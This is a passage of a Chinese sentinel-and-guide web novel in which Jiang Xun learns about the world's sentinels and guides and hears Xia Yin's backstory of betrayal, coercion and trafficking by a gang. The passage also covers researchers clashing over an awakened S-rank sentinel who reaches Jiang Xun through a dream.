这几天通过这本基础的科普教材与夏因给他的笔记，他终于对哨兵向导，有了一个初步的了解。 这本书里，详细的阐述了向导力量的起源、本质、觉醒征兆、基础的精神图景概念。介绍了联盟中专门管理哨兵向导的组织“塔”的历史与职能。还列举出了联盟法律中规定的向导的基本权利与义务。 是一本措辞非常严谨官方的奠基教材。 让江寻初步窥到了一个庞大的、功能严谨，职能齐备的力量体系。 但是这本书中，却没有讲述更加具体细节的技能学习与应用方面的内容。根据它上面的描述，后续的内容要在经过了登记后，接受塔的安排进入圣所中学习才能获得。 而另一本笔记上，讲述的东西就非常口语化接地气了。 介绍了如今常见的哨向关系中一些约定俗成的东西，哨兵向导的常见种类与疏导方式、精神补偿等内容。 看完了这些，江寻终于对自己如今的情况有了一些比较清晰的认知。 不过，除了这些好的方面之外，江寻依然对自己上次莫名经历的剧痛毫无头绪。 那之后，江寻又经历了两次这样突如其来的疼痛，即使已经在第一时间里就安排了各种检测，仍然找不出症状原因，让江寻心中始终蒙着一层阴影。 好在，也不知是状况发生了变化，还是身体已经对于这样的疼痛有了耐受力，后面发生的两次，疼痛程度都有所缓解。同时，它们之间的间隔时间也在渐渐拉长，也算让江寻在担心之余，放松了一些。 于此同时，在江寻不知道的遥远中央星上，正有一个炸裂的消息随着一艘小型星舰的落地，在联盟中快速扩散开来。 * 身下冰冷，周身被水流冲刷着，一阵阵吵闹的人声隔着水流传进陆厌离的耳朵，将他从深眠中唤醒。 联盟最高规格的治疗舱自动检测到了病人的意识已苏醒，停止了运行，药液排出，陆厌离的手指轻微地动了动，慢慢睁开了眼睛。 他的治疗舱周围，一下子围上来了许多人，连一些久不露面已经功成名就的科研大佬，也纷纷在今天出现在了愈灵殿里，等待着他的苏醒。 随着所有的药液被排出，治疗舱在一阵嗡嗡检测之后，开始闪烁起一片绿色的灯光，周围围着的人群更激动了。治疗舱一圈被围得水泄不通。 陆厌离知道这些人为什么兴奋，但他现在可顾不上去理会他们，舱盖刚打开，一坐起来，便急急说道：“请帮我联系我的父亲。” 十分钟后，陆厌离就在单独的小房间中，接通了与父亲的视频通话。 屏幕那头的男人看起来还只有四十多岁的样子，仍是男人最有魅力的时候，可陆厌离在这么长时间之后再见他，心中却早已没了当初的濡慕期盼。 “老三，你的事我已经知道了，你受委屈了！” 屏幕那头的陆明远郑重说道。 “之前的事我已经派人全部调查清楚了，你放心，家族不会亏待你的！你以前有的，以后只会得到的更多！你二哥也已经被我暂时免去了所有职位，软禁在家里了。只是…… ” 陆明远顿了顿，不动声色地仔细看了看面前许久没见的儿子，接着说道：“这到底算是家族丑闻，俗话说家丑不可外扬，我希望你对外不要乱说，不然这种事情传出去，对你对我对家族，都不好，你说呢？” 陆厌离体内的药物仍在发挥着作用，强大的药效激活了他全部的身体细胞，完全被净化干净的精神图景，把他一波一波往S级哨兵最巅峰的水平推上去，整个身体正已极快的速度恢复着。 体内的剧烈变化，让他自醒来后便一直在犯困，想重新睡过去。此刻，根本没有时间精力去纠缠这些，匆匆点了点头，便说出了他今天最要紧的目的： “父亲，帮我找个人……” 第70章 江寻并不知道遥远的宇宙彼端， 此时正有一群人，因为他的下落而开始了忙碌。 只一心放在手头的事情上。 这天，江寻刚刚送走了最后一名顾客， 还没开始打扫， 大门“吱呀”一声开合， 一个从未见过的面孔走了进来。 来人身材十分高大矫健，手臂上流畅的肌肉在走动之间一起一伏，身上穿着十分复古的皮质战甲战裙， 声音爽朗颜色姣好， 竟是位女性战士。 女子进门时有些艰难的样子，似乎背后背了什么体积很大的东西，在大门口别了半天也没走进来。 江寻犹豫了一下，不知是否要上前帮忙，却是来人先开了口。 “哎！你就是夏因店里新来的助手吗？站那看着干嘛，过来帮帮我啊！” 江寻闻言不再犹豫， 忙走上前去帮忙， 上手却让他吓了一跳。 背在女人身后的， 竟不是什么体积巨大的物品，而是一对羽毛丰满， 触手温热的巨型翼翅！ 江寻的手刚一触碰上去，就被手下摸到的温热肉感吓得手一缩， 瞪大了眼睛。他的反应，马上逗得女人笑了出来。 “哈哈哈~~你这人真有意思， 怎么，没见过哨兵啊？” 哨兵？！ 江寻眼睛稍稍睁大了些，奇异地看了面前这双翼翅一眼，小心地重新伸出了手， 调整角度，这才让这双翼翅进了门。 一回身，便眼看着来人迎上了从内室里走出来的夏因，一伸胳膊，搂上了夏因的腰。 “夏因，这就是你这里新来的助手吗？真有意思！” 边说着话，一侧头，竟是直接凑上了夏因的侧脸，亲了一口。 “好久没来过了，想我了没？” 夏因嫌弃的在女人凑过来时用手挡了一下，推了她一把：“想个屁！你们呀，只有需要我疏导的时候，才会说得好听！我上次托你找的东西呢？” 女人丝毫不脑，依旧嬉皮笑脸：“你这可就冤枉我了，我可是随时随地都在想着夏因你啊！可谁让我只是个小小的D级哨兵，这不是排不上队嘛！” 说着，手一翻，从腰间掏出一个小小的瓶子在夏因面前一晃。 夏因眼睛一亮，伸手就要去拿，对方却是胳膊一缩，戏谑地看着他。 夏因手一顿，面上马上扬起了个甜美的笑，手一伸拉上了女人，抬脚便往内室走去。 临走，看到江寻还愣在原地，一脸惊讶看着他的样子，挑了挑眉，吩咐他打扫完就可以关门下班了，便没再多说，拉着来人便进了里间。 不一会儿，里间便又传出了暧昧的声响。 江寻顶着这些声音，手下快速地收拾完，大门一关，便快步回了自己的房间，等回了房，这才滑坐了下来，消化今天听到的信息。 哨兵！这就是哨兵！ 听她的意思，他以为的，夏因一直以来每天都会幽会的情人，竟不是同一个！ 房间里的声音响了很久，江寻一直沉默地坐着，心中思绪复杂。终于等到外间房门一响，一个脚步声越走越远，直至消失，这才起身半开门扉，探头向外看去。 夏因已是换了一身衣服，靠着墙壁低头点燃了一支烟，手指间把玩着一只小瓶子，缭绕的烟雾模糊了面目。 “没见过其他的哨兵？怎么样？和你的那个哨兵比？” 夏因像是看不懂江寻的沉默，依然用着惯用的语气调笑着说道。 江寻张了张嘴，没有说话。 于是夏因便又自顾自地往下说：“这些哨兵可和那些普通人不一样，他们的五感比常人敏锐得多，又天生趋近向导，不想和我一样的话，就把你的身份给我捂死了，知道了吗？” 轻飘飘的话语中，蕴含着沉重的内容，江寻此时才真正明白了自己的幸运。 夏因说完了话，也不等江寻回应，从他身边一擦而过。 外间，主星也在这时慢慢隐去了身形，整个世界陷入一片无光黑幕。 * 日子照常过去，只不过江寻不再提前下班刻意回避。 也见到了不少太阳落山之后才登门的顾客。 他们有男有女，有的沉默寡言，有的嬉皮笑脸。 他们好像也有着自己的默契，从不在同一天中同时到来，也从不停留到主星黯淡以后。 他们大多都是独来独往的，只有几个明显更强一些的，有着自己归属的组织。有时江寻能从他们口中窥到一些新奇的事物，那是与白日里的人群完全不同的生活。 偶尔也有人会提到夏因的过去，提到另外一个名字，但每次都会被夏因黑着脸打断。 他们似乎每一个都深深喜爱着夏因，从不为他的糟糕脾气而生气；却好像也没有人真的在意他是否生气，谈论起某人的时候从不避讳。 夏因也是如此，不论在来人面前如何嬉笑怒骂，待人一走，面上便会失去所有的表情，只剩下疲惫。 江寻不知道这样的日子他过了多久，将来又要过多久。 也不觉得自己有权力去评价别人的人生。 只是在每次主星渐息之时，坐在门厅的导诊台后，帮忙送走各种各样的哨兵，再为夏因送上一杯温热的蜂蜜水。 夜深人静的时候，他仍会经常想起在无人星上的时光。 明明只是不到一个月前的事，如今再想起来却恍如隔世。 最后离开时所看到的那个人影，也在他心里更加模糊了起来。 时间就这样如水波流淌，慢慢来到了江寻一直很期待的8号。 这天，白天来的病人格外得多，以至于当太阳快要落下时，江寻还没有处理好所有的处方，排队的病人们坐满了半个门厅，无聊地交头接耳。 今天的夏因却不同寻常的在为所有病人诊断完毕之后，换上了一身体面的外套，斗篷一披，就在太阳刚刚落山时出了门，临出门时，只回身给他留了一句话。 “江寻，你今天处理完手上的事就可以关门了，我晚上不回来了。明天不用早起，中午再开门。” 话毕，没有等江寻的回应，回身便向着一个方向疾步走了。 直到他的身影从视线中消失，门厅里众人的议论声，忽然大了一截。 “哎？夏因今天怎么这么早就走了？” “嗨！你不知道啊？今天有主星食啊，夏因每个月都在这时候去找雷老大。” “咦？夏因真的是雷老大的姘头啊？那他还敢一直给别的哨兵疏导？” “这我就不知道了，不过你想，要不是背后有人，他一个单身向导，还能在自由城里自己开店啊？” 江寻的注意力被众人的谈话所吸引，微微扭过了头去。 此时，听众人议论到这里，却又没有了下文，一个在人群中坐着的花臂青年，洋洋得意地开了口：“你们知道个什么！这个夏因，来历可不简单！” “哦？你谁啊你？你怎么知道的？”一个壮汉明显不信这个年轻人，语气嘲讽。 那年轻人一听这语气，马上憋不住了，嘴巴一张，便滔滔不绝地说了起来。 “你们都知道这夏因，是个什么等级的向导吗？” 旁边的几个大妈一听有八卦，马上凑了上去，纷纷开口。 “听说是C级吧？我记得他刚来的时候，还给B级的高级哨兵疏导过呢！” “不能吧？C级努努力，都能给高级哨兵疏导了，还能在这儿开馆子给我们治病？我觉得不是D就是E！” “D级在我们这儿也很少见了好吧！也能找个厉害的专属哨兵好好过日子了，还像他一样每天都去给不同的人疏导啊？”说话的人撇撇嘴，“我看呐，肯定是不入流的E级！” 那花臂青年见众人议论，没急着打断，听到这里才得意洋洋地开口：“你们啊，知道的都太少了！他刚来自由城的时候就是C级了！你们知道他测出来的潜能等级是什么吗？” 环顾众人一圈，见所有人都在等着他说话，他这才满意地开了口：“他可是个潜能等级B级的预备高级向导！” “啊？！怎么可能！” “不会吧！” 一听这话，众皆哗然。 哨兵向导，在人群中本就稀少，越是高级越是像金字塔一样难以攀越。一个等级的差距之间，从金钱地位到能力功勋，都差异巨大。 B级以上的高级哨兵，不是一方城主就是一队军官，稍微小一点的势力里都难以见到，更不要说平均人数只占哨兵七分之一的向导了。 “不会吧？那他现在怎么沦落到这地步了？” “那你们又知道他现在是什么等级吗？”那花臂青年迟迟不入正题，又是卖了个关子，这才道：“他呀，现在只有D级了！” 众人闻言更加惊讶，纷纷追问：“怎么会的？等级还能不升反降啊？” “是啊是啊，他怎么了？是受了什么伤吗还是怎么的？” “你不会是骗我们的吧？你从哪知道的？” 江寻闻言，眉头一皱，也把注意力全部移了过去。 花臂青年一听众人不信，顿时急了，袖子往上一抹，现出肩膀上一个血红色的狼头来。 “我还能骗你们不成！你们看，我就是血狼帮的人，这夏因啊，刚来咱们自由城的时候，就是在我们血狼帮里！”《 》 70-80 第71章 “听说这夏因呀， 原来的出身也不好，长大的地方啊，比我们这M85星系还要偏远， 都快到虫族边境那边了。父母早早就死了， 和一群孤儿一起在育婴院长大的， 可架不住人运气好啊，你们猜怎么着？” 那花臂青年环视一圈，一拍大腿：“眼看着就要成年被送出育婴院了， 居然在这个当口上受了刺激， 一举觉醒成了向导！” 众皆哗然。 “不是说受激觉醒的向导死亡率很高的吗？” “这运气也太好了吧？” “可不是嘛！”花臂青年接着道：“当时那育婴院里几百个孩子，就觉醒了他一个向导！还成功在战场上活下来了！直接就被那边的塔分部接走了。” “后来，又检测出了B级向导的潜力等级，在预备学年里，能力进步也一直名列前茅，不到一年就从刚觉醒的F级升到了C级， 直接就被分部定为种子， 要送去中央星的塔总部培养呢！” 众人纷纷被花臂青年说出来的故事所吸引， 纷纷催促起来。 “那后来怎么又到我们自由城来了？还被你们血狼帮得了手？哎呀，你倒是别卖关子了， 快说呀！” “就是就是！” 见众人都被他的话吸引了过来，花臂青年志得意满， 终于不再绕弯子，一口气说了下去。 “要说这夏因啊， 运气好的时候是真好，不好的时候也是真的倒霉。眼看就要被分部派遣到中央星总部去了，结果呀，那年却刚才遇上了边境虫族的袭击。” “这一下， 分部哪还顾得上往外送人啊，他们自己人手都不够！结果就给耽误下来了，再后来，第九军团的远征军战败，被虫族一下子占领了好一片星域，塔分部所在的那个星球也在其中，从那时起，他便失踪了。” “再出现的时候，就已经跟在我们谢堂主身边，一起到血狼帮来了。” “听说呀，是在路上被我们谢堂主救了，于是就缠上了我们堂主，连中央星也不去了，一路跟着我们堂主就来了自由城。” “但是后来也不知道怎么的，又和我们堂主分开了，被送去了兰台。在兰台也不消停，三天两头的闹，最后把自己闹的能力都降级了，这才被赶出了兰台。不过他也是有本事，被赶出去的时候都掉到D级了，还能扒上雷老大的大腿，这才又在雷老大手底下开起了这个小诊所。” 听到“兰台”二字，座下的人纷纷炸开，特别是那几个人过中年的大妈。 “噫！原来他在兰台呆过！怪不得外面都传他特别会伺候人呢！” “就是的啊，我说呢！再怎么说也是个向导，怎么会缺吃穿？都自己开起馆子来了，怎么还愿意天天给那么多哨兵服务！你们看看，在外面的向导哪个不是香饽饽，被一帮子哨兵们追着捧着的？怎么到他这儿了，就不一样了？其实他就是自己喜欢吧？” “那可不！我三伯他大姑家的儿子就认识一个哨兵，听说也是一直在他那里疏导的，你们是不知道！人家都说了，他每次都巴巴地追着要给人疏导，疏导完了还要缠着人家给他补偿，谁不知道他想要什么啊？” 说话的人挑了挑眉毛，故意露出一个暧昧的笑：“恐怕雷老大也是被他伺候得舒坦了，才保下他的吧？” 听到这里，江寻再也忍不住了。 面色黑沉，一把抄起台面上的水杯“嘭啷”一声就摔在了那人脚下。 正说得开心的众人一下子被江寻的冷脸唬住，瞬间鸦雀无声。 “我倒是没见着夏因是怎么追在人身后跑的，倒是你们，”江寻环视一圈众人，“不是成天追着人夏因跑的吗？不然你们以为你们现在是站在哪里？” “我……我们付了钱来光顾他，怎么能叫我们追着他跑？”其中一人不服气地小声嘀咕。 “是吗？”江寻面上挂上笑，笑意却不达眼底：“那我们还应该谢谢你喽？背后说着人坏话，还敢来买人家开的药啊？你是胆子大呢，还是蠢啊？” “你，你怎么说话呢！”那花臂青年忍不住了，眼睛一瞪就顶了上来。 一见他还敢反驳，江寻面上的笑意一下子就收了回去，脚下一动就要往前走。 谁知那小青年看着威风，却是个空架子，一见江寻要动，惊叫一声，连自己一瘸一拐的腿都顾不上了，单脚蹦着就往外面跑。 其他的人，不是见过江寻那天收拾格森的样子，就是从其他人嘴里听过传言，一见真的惹到他生气了，根本不敢和那个崽子一样硬顶上去，纷纷往外偷溜。 连原本没说话的几人，看到这情势也不想惹祸上身，纷纷留下诊金就走了。 江寻的心情被搞得一团糟，对原本十分期待的“主星食”也失去了兴致，待人全走光后，草草收拾了门厅，便回房了。 晚上睡觉也没能睡得踏实，一闭上眼睛就坠入了纷乱的梦境之中。 可这梦境，似乎也与以往的感觉不同。江寻潜意识里感到了不对，可这微弱的异样感还不足以把他惊醒，就这么沉沉地睡了过去…… * 另一头，人声嘈杂的愈灵殿里，一个头发花白，看着文质彬彬的老先生，正不顾形象地与一个不修边幅的年轻人吵得不可开交。 “营养液怎么能现在断？他现在的身体素质提升速度难道你没看见吗？” 老先生把手上拿着的一沓检测报告在桌子上摔得啪啪作响：“现在就应该趁着这股破而后立的恢复力还没用尽，让他继续休眠，充分给他提供身体所需的能量，尽可能的让他的身体素质得到提升！以这股劲头提升下去，你知道我们能得到什么吗？” 老先生的神情激动，说得口沫横飞：“我们有可能得到有史以来第一个双S级别的哨兵！这是奇迹！” 年轻人的神色看着冷静，话语中的内容却让老人更加疯狂：“我们都知道他的能力正在急速提升之中，但是你们是不是忘记了，他是个什么类型的哨兵？” “他和阿克塞尔他们这些近战型S级哨兵完全不同！他本来就不是长在肉|体力量上的哨兵类型！他身上真正的杀手锏是他的毒系精神力！现在有这种绝无仅有的提升机会，你们不把他唤醒过来，想办法提升他的精神力，还又把他休眠了提升肉|体？到底是谁没找到重点？！” “异想天开！”老人骂道：“你们谁能保证把他唤醒以后，一定能让这种恢复力作用在精神力上？而且，他检测出来的精神力潜能上限最高就是S级，还能提升到哪里去？为了你们虚无缥缈的猜测，就要放弃近在眼前的成果吗？简直荒谬！” “谁说我们的猜测是虚无缥缈的？”年轻人神情也激动起来：“你们只注意他身体素质的提升，难道没人看过他不寻常的精神力波动峰值吗？是！我知道！他这次回来以后，精神力的波峰一直没有稳定过！但是，你们难道没看过这个趋势？” 年轻人把手中攥着的厚厚一沓纸张挥手铺散开来，飞快地从中挑出一张怼在老人眼前：“你仔细看看！他的精神力波峰一直在慢慢增强！再看看这个！” 说着又从中拎出一页布满各种图表和计算公式的纸页：“不光是波峰值，他特有的精神力波频也在改变！精神力场的最大压限也在提升！你们知道这又意味着什么吗？” 年轻人说着，眼现狂热：“这意味着，他的精神力可能会从本质上获得增强！以往的检测中得到的数据也将不再有效，他有可能成为有史以来第一个突破自己的最高潜能水平的哨兵！这难道不比只是获得一个拥有双S水平肉|体能力的哨兵来得重要？！” 周围围观着的众多研究员们，听到这里，议论声骤然增大起来，纷纷伸手去拿年轻人铺在桌面上的数据细看。 老人听着年轻研究员的话语，神情中也有了些动摇，伸手中胸前的衣兜里取出眼镜，拿下那张被举在眼前的纸页，凑近看去。 半晌，正要开口说什么，忽听陈列在众人身边不远处的休眠舱，突然响起“滴滴滴”的警报声响。 众人一静，下一刻，纷纷小跑着回到了各自的位置上，神情紧张，手下飞快地操作起来。 连那个走路都要拄着拐杖的老先生，也在此刻丢下了他的拐杖，快走几步凑近到控制台前，眯起眼睛去看投屏上开始不停闪烁起来的各项数据。 “怎么回事？！监测组报数据！急救组准备！” 年轻的研究员在这一刻，反而瞬间冷静了下来，速度飞快地一边看向屏幕，一边对着众人发布下命令。 整个研究小组飞快地动了起来。 “报告！对象精神力活跃度正在增强，波谱值已提升7%，正在继续提升！” “报告！对象精神波动异常！最高峰值突破安全线！” “报告！……” 随着各处监测仪器的警报声纷纷响起，原本被平稳地束缚在休眠舱周围两米范围内的精神力场，开始活跃地剧烈鼓胀扩张开来。 现场的研究员们被逼得纷纷穿戴上了密封严格的全覆式防护服，脚下一退再退，直退到了墙壁边缘。 沸腾鼓噪到了极点，却又被实验室里的强磁场束缚住的力场，在一波急速鼓胀之后，突然又快速收缩了回去，弥漫出去的范围反而比开始时还要小。可范围内的精神力密度却开始在众人看不见的情况下，急速升高。 下一刻，一道无形波动悄无声息地漫溢而出，无声无息地向着一个方向遥遥发射了出去。 一道所有人都看不见的线，与遥远时空外的一点联系了起来。 江寻的意识沉浮在梦境的光怪陆离之中，身边的事物不停变换。 一会儿是血红月色下霓虹的炫光，一会儿是铺满了阳光的绵软沙发，但不论是什么样的场景，他的身边都有一团不容忽视的熟悉温热始终相伴相随。 但当他垂眼在身侧寻找时，又什么都找不到。 昏沉的睡梦之中，江寻微微开合着手掌，却始终感觉有什么曾经被他紧握在手心里的东西，已经在不经意间顺着指缝流走了。 两手之间空空如也，什么也握不住，于是心口上似乎也空了一块，整个人没有了方向。 正沉浸在这混混沌沌地迷梦之中，灵性却好像敏锐地捕捉到了什么遥远的呼唤。 不知从何而来的吸引力，在接收到了灵性的回应之后，猛然有了方向，吸力大增。 江寻只觉得浑身一轻，便被拉着突破了什么界限，闯入了另一片地界。 一进入这片地界之后，意识便像是自动寻到了方向，向着一处就坠落了下去。 而后，意识突然在梦中“醒来”了。 非常神奇的，他感觉到了自己正在睡觉。 是的，他清醒地感觉到了“自己”正在睡觉。 他躺在身体里，清晰地感受到了身下金属的冰冷触感，感受到了水流贴着身体顺滑流过；感受到了许多平直的机械音隔着什么东西，模模糊糊地飘入他的耳畔；感受到了身周，不断有源源不断的力量注入自己的身体。 身周所有的感觉信息，仿佛被扩大又扩大，在此刻向着江寻展示出了它们的真实面目来。 可令江寻生气的是，他虽然感受到了这一切，却丝毫无法命令着身体动起来，只得这么静静地呆在这里被动地感受着。 无事可做，也不知道要怎么回去，他只能百无聊赖地躺在那里，等待着梦境崩塌甦醒。 就在这时，他突然察觉到了异样，他的身体里好像还存在着另外一个意识。 这意识像是感应到了什么，努力在身体里挣扎着要醒来。 许久，在它的挣扎下，一层无形的隔膜被打破，那一道意识终于掌控住了身体，嘴唇动了动，一个微弱气声飘入了江寻耳朵里： “江寻……” 下一秒，江寻后心一紧，他的意识飞掠着快速退后，不知穿过了多少道屏障，跨越了多远的距离，最后，猛地一震，一股强烈的下坠敢袭上心头。 江寻在微熹的晨光中，睁开了眼睛。 * 夏因昨天临走的时候说过不用早早开门，所以江寻少见地赖了床。 一股强烈的预感让他去探寻昨夜的梦境。 躺在温暖的被窝里，江寻细细回想着梦中感觉到的情景。 冰冷，水流，嘈杂，陌生，每一样感受都与他身遭的环境相差甚远。 强烈的预感指出了本质：那不是他的身体。 那人是谁？ 梦中最后的细微呢喃浮上他的脑海。 一个不可思议的猜测出现在他心中。 * 夏因果然如他所说的一般，中午过半才披着斗篷，走回了诊所。 他低着头，紧紧用斗篷裹住自己的身体，走过外间的大街小巷。 一点突然乍起的声音都会惊得他整个人一缩。 直到踏入了诊所的大门，这才深深吐出一口气，恢复了往日里的神情。 眼睛随意一瞟，即便没看到任何顾客，他也没在意。 对着坐在导诊台后的江寻点了点头，便抱着斗篷转身向着里间走去。 江寻眼尖的发现他的领口似乎少了一颗扣子，锁骨上一道红痕，透过微微敞开的衣领，露了出来。 江寻视线瞥下，什么也没有问没有说。 不一会儿，里间就传来了“哗啦啦”的水流声，十几分钟后，夏因再次换回了熟悉的白大褂，披着还往下滴着水的头发走了出来。 “怎么样？我不在的时候没出什么事吧？” 江寻半垂着眼，摇了摇头。 夏因一屁股摔进沙发里，踢掉了脚上的鞋子，翘起二郎腿，百无聊赖地仰头瘫靠在扶手上，望向天花板。 良久无言，气氛在静谧中渐渐变得凝滞起来。 终于，江寻忍不住开了口，却有另一道声音同时响起。 “你……” “你知道了？” 江寻闻声抬头，说话的人仍是那副万事不在意的模样，眼睛盯着天花板，好像被天花板上的什么有趣的东西吸引了视线。 “知道了一部分。” “哦？哪部分？” 江寻沉默片刻，问道：“兰台是什么？” “哈哈哈~~”夏因闻言笑出了声：“这不是知道挺多的了嘛。” “兰台啊……” 夏因的神情有些恍惚：“挺久没想起过了呢……” “你知道愈灵殿的公共疏导所吗？” 江寻回忆了一下夏因给他的那本教材上的内容，点了点头。 “兰台啊，就是血狼帮自己建立的公共疏导所。” 夏因突地笑了一下：“起码他是这么给我说的。” “他？” “啊，你没听过这一段吗？”夏因无所谓地笑笑，“谢谦，血狼帮现在的堂主谢谦，也是带我来到这里的人……” …… 秋风划过树梢，带着一片金色叶片轻抚上年轻向导的头发。 那金色却不及小向导的金发三分之一璀璨。 漂亮的小向导从发间取下那片树叶，眯起清澈的蓝眼睛，越过叶片的缝隙，看向拉着自己向前走着的高大男人，语气娇憨：“谢谦！我们还要走多久啊？你的大哥真的会收留我们吗？” 高大的男人闻声回头，他长得并不怎么亮眼，起码比起身前的小向导远远不如，可却有着股子温和可靠的气质，看人总是深情专注，让被注视着的人不由心动。 “马上就到了！放心吧，我们关系很好的，他要是知道我来了，还找到了一个这么漂亮的专属向导做伴侣，一定会非常高兴的！” 小向导面上有些发红，嘴里反驳道：“我只是不想看到你疯掉才临时给你疏导一下的，谁要做你的专属向导啊！” 说着说着，神情低落下来：“而且，我们的匹配率都不够60%，根本没法身体绑定……” 小向导只顾着难过，丝毫没注意到高大男人的眼神。 谢谦眼中划过一抹懊恼焦躁，又将这股情绪压了下去，继续柔声安慰：“别担心，我只希望你能自由快乐，不要被中央星那些大家族的人逼迫结婚，即使咱们最后没法绑定，我也不介意的！” 闻言，小向导一阵感动。 面前的哨兵，是自己在塔分部被虫族攻破时偶然救下来的，为了救下他，自己都没有赶上撤离的飞船，被滞留在了那片战乱之地。 不过也算因祸得福，他是一个性格格外好的哨兵，与他平日里见过的那些粗人完全不同！他伤愈之后也十分照顾自己，一路与他一起冲破了虫族的战线逃了出来。 一路的患难与共，温柔体贴，让两人迅速地坠入了爱河，可他们的匹配率连60%都没有，要是回到了塔中，是绝对没法在一起的。于是，在对方的殷殷恳求下，他最终放弃了回到塔中的计划，随着他来投奔他的大哥。 “谢谦你放心！我马上就能升到B级了！即使匹配率不够60%，我也会努力治好你的！” …… “你看，我说了吧，我大哥一定会欢迎我们的！”谢谦摸了摸小向导的发顶，笑得温柔。 “哎呀呀，没想到你的大哥长得那么吓人，结果人这么好！”漂亮的小向导鼓了鼓嘴巴，拍了拍胸口，双手环上男人的手臂，“他说只要我去兰台工作，就让你做堂主哎！真好！本来我就准备去公共疏导所工作的，这里居然还能靠这个换个官做做！堂主是很大的官吗？” “是呀，是很大的官。”高大的男人眼神幽深，手掌怜惜地下滑，抚过小向导柔嫩的脸蛋，一声叹息隐没在风中，“可惜了……” …… “不行！你们怎么可以这样？！一天疏导这么多人她会精神匮乏的！”小向导把一个满面苍白的年轻女孩护在身后，对着面前的管事说道。 “我们的战斗任务这么多，向导的数量又这么少，怎么可能等着你们慢慢恢复啊？精神匮乏有什么难办的？睡一觉不就好了？向导不就是用来干这个的？” 小向导不可思议地瞪大眼睛：“你们在说什么？！你们把向导当成了什么？疏导与补偿是非常正式严肃的行为，正常的疏导根本不用过度接触的！而且联盟严禁对向导进行强迫、诱骗等行为，疏导与补偿必须获得向导本人的知情同意，符合他的个人意愿！这是联盟法律明令禁止的行为，你们是要违反法律吗？” 对面的几个强壮哨兵互相看看，突然哈哈大笑起来，慢慢逼近。 “不想让她给我们疏导呀？那也不是不行，那就你来替她吧！” “你们要做什么？不！我要见谢谦！你们走开！” …… “啪！” 蒲扇大的手掌扇在瘦小的向导脸上，他被打得直接翻滚在了地上，半边侧脸当即高高的肿胀了起来。他却哼都没哼一声，眼睛里一片死气。 “该死的！还说能晋升B级向导呢！这都快降到E级了，真不耐用！” 管事嫌弃地看了看一动不动匍匐在地上的身体，努了努嘴：“下批给天启分部的货不是还不够吗？把他算进去吧。” 管事拍了拍手，像是想要拍掉落在上面的灰尘。 “没用的东西。” …… “后来呀，他们把我和好多死人一起运了出去，卖给了别人，我才终于离开了兰台……” 夏因的语气平静，似乎还带着些惯常的笑意。 江寻终于忍不住了：“够了！不要再说了！” 夏因干涩地笑了笑：“所以呀，你看，哨兵就是这样的东西。不要爱上哨兵！不要相信任何哨兵的花言巧语！” “不要像我一样。”—— 作者有话说：头顶钢盔逃跑！你们骂了谢谦就不能骂我了啊[求你了] 第72章 那天过后， 夏因又恢复了风风火火，嬉笑怒骂的模样。 那片刻的脆弱彻底从他身上消失了痕迹。 那天被江寻吓走的顾客，消失了一些， 还有一些又在几天后重新踏足了夏因的诊所。只是再不敢肆无忌惮地在诊所里大放厥词了。 江寻不知道他们是彻底不说了还是改在了私下里说， 总之别舞到他和夏因的面前， 他就可以当做看不到。 夏因傍晚再接待前来的各色哨兵时，更加不避着江寻了，有时候起不来身， 还会让江寻把来客送走。 借着与这些哨兵的接触， 江寻也更加了解了哨兵向导这个群体。 对于如今的联盟来说，虽然不再如刚刚进入星际社会时候一样，步履维艰。但各处边缘星域中普遍存在的割据武装势力、各个星球上的独立政府、在联盟西北部疆域外虎视眈眈的虫族势力，无时无刻不威胁着联盟的和平稳定。 在这种情况下，作为社会核心战力的哨兵，对于联盟来说， 地位仍然十分重要。 虽然人口比例只占联盟总人数的7%左右， 但因为从出生时就可以通过检测判定出哨兵潜力， 所以，只要是拥有着觉醒潜力的哨兵， 都会从一出生就被联盟介入保护培养起来。 这样的情况下，除了实在潜能低下后期又开发不足， 基本上所有检测出潜力的哨兵都可以顺利觉醒，走上自己的职业道路。 而向导就不同了。 本身无法在觉醒前检测出潜力来， 导致了有许多资质一般的向导，可能一直到死都不知道自己拥有着成为向导的可能。 向导的受激觉醒又与哨兵不同。 哨兵的受激觉醒发生时，一般提升的是自己的身体力量，若在觉醒时出现了意外， 有了损伤，那损伤的一般也是在他身边的人，哨兵本身不会有太大的危险。 而向导的觉醒，是精神力的跨越式提升，极容易在觉醒过程中精神力失控，杀死自己或者损坏自己的精神海，导致觉醒失败。 所以向导要成功觉醒，并且成功活下来，保住自己的向导能力，天然的就比哨兵难了许多。 到这一步已经很难了，可通过了觉醒这一关之后的向导，还要经受最难的一关考验：成功走到塔组织面前，获得官方的保护。 初生的向导只是提升了精神力，大多没有能够保护自己的武力。 若是没有出生在联盟旗下秩序稳定的星球，大多在刚刚觉醒的时候就会被各方势力瓜分，从此生死再不由己。 重重艰险之下，成功觉醒存活下来，又能来到塔中发开自己能力的向导，人数只占全部哨兵的七分之一左右。而这样的的比例，又再次加大了初生向导的生存难度。 恶性循环之下，造成了向导在很多联盟辐射之外的飞地，生存环境极其恶劣。常常会被当地势力当做资源争夺，再通过他们去控制更多的哨兵。 在这种恶劣环境下成长起来的向导，一般都不会与某一个哨兵固定绑定，而是被许多个哨兵共享。 这样的向导，由于频繁地疏导行为，基本长期都会处于精神力匮乏的状态中，无法得到更好的成长，也无法脱离哨兵的补偿。 他们的潜能会在这样日复一日的匮乏、使用之下渐渐枯竭，消耗殆尽，在精神海崩塌之前都会备受精神疾病的折磨。而这样的折磨又会让他们为了得到补偿，对控制着他们的哨兵、势力言听计从，直到精神海被榨干后抛弃。 身陷混乱地带的向导，除非有足够强大的靠山保护，否则极难有好下场。 知道了这一切，江寻终于彻底明白，夏因为什么在留下他的第一天，就给他强调，绝对不要对外暴露自己是向导的事实。 “喂，叫你呢！发什么呆，过来收钱！” 正想着，江寻被一个声音叫住，回身看去，是傍晚来的那个高大哨兵。 江寻以前没有见过这个人，他似乎是今天刚从哪个战场上下来的，堕化值也不低，即使经过了夏因的疏导，整个右臂还是维持着兽化的状态无法恢复过来。 不过精神比起刚来时好了许多，起码不再蹬着一双布满血丝的兽瞳看人了。 “嗙当！”一声，一个重重的钱袋被他抛上了台面。 “喏，今天的诊费，告诉医生，我很满意！哈哈哈~~” 那人边说着，边迈开大步就往外走去。 江寻看着那袋子钱币，拦住了他的去路：“客人，等一等，你给多了！” 那人脚下却丝毫没有停顿，一边走一边举起那只完好的手朝后挥了挥：“今天不小心伤到他了，多余的，就当是我的赔礼吧。” 说完，便一个跨步，迈出了诊所大门。 江寻手中一紧，把外间的大门关上落了锁，便转身向着内室的方向走去。 行至走廊尽头夏因的卧室外敲了敲门，没有动静。 